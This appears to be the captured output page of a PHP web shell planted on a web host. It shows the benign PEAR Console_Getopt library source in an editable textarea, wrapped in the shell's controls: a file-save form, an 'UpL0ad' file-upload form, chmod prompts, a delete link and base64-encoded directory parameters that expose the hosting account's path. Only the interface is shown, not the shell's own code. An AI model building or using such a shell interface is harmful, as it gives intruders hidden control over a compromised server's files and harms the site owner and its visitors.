<hr>Getopt.php<form method=post action="?d=L2hvbWUvaW5kdXZlZGFtL3BocC9Db25zb2xl&f=R2V0b3B0LnBocA%3D%3D"><input name="f" value="Getopt.php"><textarea name="t">&lt;?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
 * PHP Version 5
 *
 * Copyright (c) 2001-2015, The PEAR developers
 *
 * This source file is subject to the BSD-2-Clause license,
 * that is bundled with this package in the file LICENSE, and is
 * available through the world-wide-web at the following url:
 * http://opensource.org/licenses/bsd-license.php.
 *
 * @category Console
 * @package  Console_Getopt
 * @author   Andrei Zmievski &lt;andrei@php.net&gt;
 * @license  http://opensource.org/licenses/bsd-license.php BSD-2-Clause
 * @version  CVS: $Id$
 * @link     http://pear.php.net/package/Console_Getopt
 */

require_once &#039;PEAR.php&#039;;

/**
 * Command-line options parsing class.
 *
 * @category Console
 * @package  Console_Getopt
 * @author   Andrei Zmievski &lt;andrei@php.net&gt;
 * @license  http://opensource.org/licenses/bsd-license.php BSD-2-Clause
 * @link     http://pear.php.net/package/Console_Getopt
 */
class Console_Getopt
{

    /**
     * Parses the command-line options.
     *
     * The first parameter to this function should be the list of command-line
     * arguments without the leading reference to the running program.
     *
     * The second parameter is a string of allowed short options. Each of the
     * option letters can be followed by a colon &#039;:&#039; to specify that the option
     * requires an argument, or a double colon &#039;::&#039; to specify that the option
     * takes an optional argument.
     *
     * The third argument is an optional array of allowed long options. The
     * leading &#039;--&#039; should not be included in the option name. Options that
     * require an argument should be followed by &#039;=&#039;, and options that take an
     * option argument should be followed by &#039;==&#039;.
     *
     * The return value is an array of two elements: the list of parsed
     * options and the list of non-option command-line arguments. Each entry in
     * the list of parsed options is a pair of elements - the first one
     * specifies the option, and the second one specifies the option argument,
     * if there was one.
     *
     * Long and short options can be mixed.
     *
     * Most of the semantics of this function are based on GNU getopt_long().
     *
     * @param array  $args          an array of command-line arguments
     * @param string $short_options specifies the list of allowed short options
     * @param array  $long_options  specifies the list of allowed long options
     * @param boolean $skip_unknown suppresses Console_Getopt: unrecognized option
     *
     * @return array two-element array containing the list of parsed options and
     * the non-option arguments
     */
    public static function getopt2($args, $short_options, $long_options = null, $skip_unknown = false)
    {
        return Console_Getopt::doGetopt(2, $args, $short_options, $long_options, $skip_unknown);
    }

    /**
     * This function expects $args to start with the script name (POSIX-style).
     * Preserved for backwards compatibility.
     *
     * @param array  $args          an array of command-line arguments
     * @param string $short_options specifies the list of allowed short options
     * @param array  $long_options  specifies the list of allowed long options
     *
     * @see getopt2()
     * @return array two-element array containing the list of parsed options and
     * the non-option arguments
     */
    public static function getopt($args, $short_options, $long_options = null, $skip_unknown = false)
    {
        return Console_Getopt::doGetopt(1, $args, $short_options, $long_options, $skip_unknown);
    }

    /**
     * The actual implementation of the argument parsing code.
     *
     * @param int    $version       Version to use
     * @param array  $args          an array of command-line arguments
     * @param string $short_options specifies the list of allowed short options
     * @param array  $long_options  specifies the list of allowed long options
     * @param boolean $skip_unknown suppresses Console_Getopt: unrecognized option
     *
     * @return array
     */
    public static function doGetopt($version, $args, $short_options, $long_options = null, $skip_unknown = false)
    {
        // in case you pass directly readPHPArgv() as the first arg
        if (PEAR::isError($args)) {
            return $args;
        }

        if (empty($args)) {
            return array(array(), array());
        }

        $non_opts = $opts = array();

        settype($args, &#039;array&#039;);

        if ($long_options) {
            sort($long_options);
        }

        /*
         * Preserve backwards compatibility with callers that relied on
         * erroneous POSIX fix.
         */
        if ($version &lt; 2) {
            if (isset($args[0][0]) &amp;&amp; $args[0][0] != &#039;-&#039;) {
                array_shift($args);
            }
        }

        for ($i = 0; $i &lt; count($args); $i++) {
            $arg = $args[$i];
            /* The special element &#039;--&#039; means explicit end of
               options. Treat the rest of the arguments as non-options
               and end the loop. */
            if ($arg == &#039;--&#039;) {
                $non_opts = array_merge($non_opts, array_slice($args, $i + 1));
                break;
            }

            if ($arg[0] != &#039;-&#039; || (strlen($arg) &gt; 1 &amp;&amp; $arg[1] == &#039;-&#039; &amp;&amp; !$long_options)) {
                $non_opts = array_merge($non_opts, array_slice($args, $i));
                break;
            } elseif (strlen($arg) &gt; 1 &amp;&amp; $arg[1] == &#039;-&#039;) {
                $error = Console_Getopt::_parseLongOption(substr($arg, 2),
                                                          $long_options,
                                                          $opts,
                                                          $i,
                                                          $args,
                                                          $skip_unknown);
                if (PEAR::isError($error)) {
                    return $error;
                }
            } elseif ($arg == &#039;-&#039;) {
                // - is stdin
                $non_opts = array_merge($non_opts, array_slice($args, $i));
                break;
            } else {
                $error = Console_Getopt::_parseShortOption(substr($arg, 1),
                                                           $short_options,
                                                           $opts,
                                                           $i,
                                                           $args,
                                                           $skip_unknown);
                if (PEAR::isError($error)) {
                    return $error;
                }
            }
        }

        return array($opts, $non_opts);
    }

    /**
     * Parse short option
     *
     * @param string     $arg           Argument
     * @param string[]   $short_options Available short options
     * @param string[][] &amp;$opts
     * @param int        &amp;$argIdx
     * @param string[]   $args
     * @param boolean    $skip_unknown suppresses Console_Getopt: unrecognized option
     *
     * @return void
     */
    protected static function _parseShortOption($arg, $short_options, &amp;$opts, &amp;$argIdx, $args, $skip_unknown)
    {
        for ($i = 0; $i &lt; strlen($arg); $i++) {
            $opt     = $arg[$i];
            $opt_arg = null;

            /* Try to find the short option in the specifier string. */
            if (($spec = strstr($short_options, $opt)) === false || $arg[$i] == &#039;:&#039;) {
                if ($skip_unknown === true) {
                    break;
                }

                $msg = &quot;Console_Getopt: unrecognized option -- $opt&quot;;
                return PEAR::raiseError($msg);
            }

            if (strlen($spec) &gt; 1 &amp;&amp; $spec[1] == &#039;:&#039;) {
                if (strlen($spec) &gt; 2 &amp;&amp; $spec[2] == &#039;:&#039;) {
                    if ($i + 1 &lt; strlen($arg)) {
                        /* Option takes an optional argument. Use the remainder of
                           the arg string if there is anything left. */
                        $opts[] = array($opt, substr($arg, $i + 1));
                        break;
                    }
                } else {
                    /* Option requires an argument. Use the remainder of the arg
                       string if there is anything left. */
                    if ($i + 1 &lt; strlen($arg)) {
                        $opts[] = array($opt,  substr($arg, $i + 1));
                        break;
                    } else if (isset($args[++$argIdx])) {
                        $opt_arg = $args[$argIdx];
                        /* Else use the next argument. */;
                        if (Console_Getopt::_isShortOpt($opt_arg)
                            || Console_Getopt::_isLongOpt($opt_arg)) {
                            $msg = &quot;option requires an argument --$opt&quot;;
                            return PEAR::raiseError(&quot;Console_Getopt: &quot; . $msg);
                        }
                    } else {
                        $msg = &quot;option requires an argument --$opt&quot;;
                        return PEAR::raiseError(&quot;Console_Getopt: &quot; . $msg);
                    }
                }
            }

            $opts[] = array($opt, $opt_arg);
        }
    }

    /**
     * Checks if an argument is a short option
     *
     * @param string $arg Argument to check
     *
     * @return bool
     */
    protected static function _isShortOpt($arg)
    {
        return strlen($arg) == 2 &amp;&amp; $arg[0] == &#039;-&#039;
               &amp;&amp; preg_match(&#039;/[a-zA-Z]/&#039;, $arg[1]);
    }

    /**
     * Checks if an argument is a long option
     *
     * @param string $arg Argument to check
     *
     * @return bool
     */
    protected static function _isLongOpt($arg)
    {
        return strlen($arg) &gt; 2 &amp;&amp; $arg[0] == &#039;-&#039; &amp;&amp; $arg[1] == &#039;-&#039; &amp;&amp;
               preg_match(&#039;/[a-zA-Z]+$/&#039;, substr($arg, 2));
    }

    /**
     * Parse long option
     *
     * @param string     $arg          Argument
     * @param string[]   $long_options Available long options
     * @param string[][] &amp;$opts
     * @param int        &amp;$argIdx
     * @param string[]   $args
     *
     * @return void|PEAR_Error
     */
    protected static function _parseLongOption($arg, $long_options, &amp;$opts, &amp;$argIdx, $args, $skip_unknown)
    {
        @list($opt, $opt_arg) = explode(&#039;=&#039;, $arg, 2);

        $opt_len = strlen($opt);

        for ($i = 0; $i &lt; count($long_options); $i++) {
            $long_opt  = $long_options[$i];
            $opt_start = substr($long_opt, 0, $opt_len);

            $long_opt_name = str_replace(&#039;=&#039;, &#039;&#039;, $long_opt);

            /* Option doesn&#039;t match. Go on to the next one. */
            if ($long_opt_name != $opt) {
                continue;
            }

            $opt_rest = substr($long_opt, $opt_len);

            /* Check that the options uniquely matches one of the allowed
               options. */
            if ($i + 1 &lt; count($long_options)) {
                $next_option_rest = substr($long_options[$i + 1], $opt_len);
            } else {
                $next_option_rest = &#039;&#039;;
            }

            if ($opt_rest != &#039;&#039; &amp;&amp; $opt[0] != &#039;=&#039; &amp;&amp;
                $i + 1 &lt; count($long_options) &amp;&amp;
                $opt == substr($long_options[$i+1], 0, $opt_len) &amp;&amp;
                $next_option_rest != &#039;&#039; &amp;&amp;
                $next_option_rest[0] != &#039;=&#039;) {

                $msg = &quot;Console_Getopt: option --$opt is ambiguous&quot;;
                return PEAR::raiseError($msg);
            }

            if (substr($long_opt, -1) == &#039;=&#039;) {
                if (substr($long_opt, -2) != &#039;==&#039;) {
                    /* Long option requires an argument.
                       Take the next argument if one wasn&#039;t specified. */;
                    if (!strlen($opt_arg)) {
                        if (!isset($args[++$argIdx])) {
                            $msg = &quot;Console_Getopt: option requires an argument --$opt&quot;;
                            return PEAR::raiseError($msg);
                        }
                        $opt_arg = $args[$argIdx];
                    }

                    if (Console_Getopt::_isShortOpt($opt_arg)
                        || Console_Getopt::_isLongOpt($opt_arg)) {
                        $msg = &quot;Console_Getopt: option requires an argument --$opt&quot;;
                        return PEAR::raiseError($msg);
                    }
                }
            } else if ($opt_arg) {
                $msg = &quot;Console_Getopt: option --$opt doesn&#039;t allow an argument&quot;;
                return PEAR::raiseError($msg);
            }

            $opts[] = array(&#039;--&#039; . $opt, $opt_arg);
            return;
        }

        if ($skip_unknown === true) {
            return;
        }

        return PEAR::raiseError(&quot;Console_Getopt: unrecognized option --$opt&quot;);
    }

    /**
     * Safely read the $argv PHP array across different PHP configurations.
     * Will take care on register_globals and register_argc_argv ini directives
     *
     * @return mixed the $argv PHP array or PEAR error if not registered
     */
    public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER[&#039;argv&#039;])) {
                if (!@is_array($GLOBALS[&#039;HTTP_SERVER_VARS&#039;][&#039;argv&#039;])) {
                    $msg = &quot;Could not read cmd args (register_argc_argv=Off?)&quot;;
                    return PEAR::raiseError(&quot;Console_Getopt: &quot; . $msg);
                }
                return $GLOBALS[&#039;HTTP_SERVER_VARS&#039;][&#039;argv&#039;];
            }
            return $_SERVER[&#039;argv&#039;];
        }
        return $argv;
    }

}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /home/induvedam/php/Console<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3BocC9Db25zb2xl"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3BocC9Db25zb2xl&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>24</td></tr><tr><td></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3BocA=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3BocC9Db25zb2xl&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>132</td></tr><tr><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3BocC9Db25zb2xl&x=R2V0b3B0LnBocA==">X</a></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3BocC9Db25zb2xl&f=R2V0b3B0LnBocA=="/>Getopt.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3BocC9Db25zb2xl&f=R2V0b3B0LnBocA==&c=`+btoa(c):0" value="0644"></td><td>13635</td></tr></table>